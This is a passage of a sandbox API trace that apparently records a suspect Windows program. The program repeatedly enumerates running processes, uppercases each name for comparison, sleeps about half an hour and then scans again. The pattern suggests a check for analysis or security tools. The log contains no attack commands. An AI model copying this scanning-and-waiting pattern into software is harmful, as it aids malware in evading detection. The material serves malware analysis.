out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0282.108] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0282.108] lstrlenW (lpString="isp.exe") returned 7 [0282.108] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0282.108] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0282.108] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0282.108] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0282.109] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0282.109] lstrlenW (lpString="cowboy.exe") returned 10 [0282.109] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0282.109] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0282.109] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0282.109] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0282.109] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0282.109] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0282.109] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0282.110] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0282.110] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0282.110] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0282.110] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0282.110] lstrlenW (lpString="thats.exe") returned 9 [0282.110] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0282.110] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0282.110] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0282.110] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0282.111] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0282.111] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0282.111] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0282.111] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0282.111] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0282.111] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0282.112] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0282.112] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0282.112] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0282.112] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0282.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0282.112] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0282.112] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0282.112] lstrlenW (lpString="actual.exe") returned 10 [0282.112] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0282.112] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0282.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0282.112] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0282.113] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0282.113] lstrlenW (lpString="potter larry.exe") returned 16 [0282.113] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0282.113] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0282.113] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0282.113] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0282.114] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0282.114] lstrlenW (lpString="contents what certificate.exe") returned 29 [0282.114] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0282.114] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0282.114] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0282.114] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0282.114] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0282.114] lstrlenW (lpString="cindy.exe") returned 9 [0282.114] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0282.114] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0282.114] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0282.114] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0282.115] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0282.115] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0282.115] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0282.115] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0282.115] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0282.115] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0282.116] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0282.116] lstrlenW (lpString="unusual.exe") returned 11 [0282.116] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0282.116] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0282.116] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0282.116] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0282.116] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0282.116] lstrlenW (lpString="pacific.exe") returned 11 [0282.117] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0282.117] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0282.117] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0282.117] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0282.117] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0282.117] lstrlenW (lpString="phantom.exe") returned 11 [0282.117] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0282.117] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0282.117] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0282.117] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.118] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0282.118] lstrlenW (lpString="audiodg.exe") returned 11 [0282.118] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0282.118] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0282.118] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0282.118] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0282.119] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0282.119] lstrlenW (lpString="SCN0tification.exe") returned 18 [0282.119] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0282.119] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0282.119] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0282.119] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.119] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.119] lstrlenW (lpString="svchost.exe") returned 11 [0282.119] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.120] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.120] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.120] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.120] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0282.120] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0282.120] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0282.120] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0282.120] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0282.120] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0282.121] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0282.121] lstrlenW (lpString="taskeng.exe") returned 11 [0282.121] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0282.121] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0282.121] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0282.121] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0282.122] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0282.122] lstrlenW (lpString="taskeng.exe") returned 11 [0282.122] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0282.122] PathFindFileNameW (pszPath="TASKENG.EXE") returned="TASKENG.EXE" [0282.122] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKENG.EXE" | out: lpString1="TASKENG.EXE") returned="TASKENG.EXE" [0282.122] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0282.122] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeC2RClient.exe" | out: lpString1="OfficeC2RClient.exe") returned="OfficeC2RClient.exe" [0282.122] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0282.122] CharUpperBuffW (in: lpsz="OfficeC2RClient.exe", cchLength=0x13 | out: lpsz="OFFICEC2RCLIENT.EXE") returned 0x13 [0282.122] PathFindFileNameW (pszPath="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0282.122] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICEC2RCLIENT.EXE" | out: lpString1="OFFICEC2RCLIENT.EXE") returned="OFFICEC2RCLIENT.EXE" [0282.122] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xe84, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0282.123] CloseHandle (hObject=0x2dc) returned 1 [0282.123] Sleep (dwMilliseconds=0x1b7740) [0292.137] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0292.139] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.140] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0292.140] lstrlenW (lpString="[System Process]") returned 16 [0292.140] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0292.140] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0292.140] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0292.140] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0292.141] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0292.141] lstrlenW (lpString="System") returned 6 [0292.141] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0292.141] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0292.141] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0292.141] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0292.141] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0292.141] lstrlenW (lpString="smss.exe") returned 8 [0292.141] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0292.141] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0292.141] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0292.142] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.142] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0292.142] lstrlenW (lpString="csrss.exe") returned 9 [0292.142] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0292.142] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0292.142] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0292.142] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0292.143] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0292.143] lstrlenW (lpString="wininit.exe") returned 11 [0292.143] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0292.143] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0292.143] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0292.143] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0292.143] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0292.143] lstrlenW (lpString="csrss.exe") returned 9 [0292.144] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0292.144] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0292.144] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0292.144] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.144] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0292.144] lstrlenW (lpString="winlogon.exe") returned 12 [0292.144] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0292.144] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0292.144] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0292.144] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.145] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0292.145] lstrlenW (lpString="services.exe") returned 12 [0292.145] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0292.145] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0292.145] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0292.145] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.146] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0292.146] lstrlenW (lpString="lsass.exe") returned 9 [0292.146] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0292.146] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0292.146] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0292.146] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.146] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.146] lstrlenW (lpString="svchost.exe") returned 11 [0292.146] 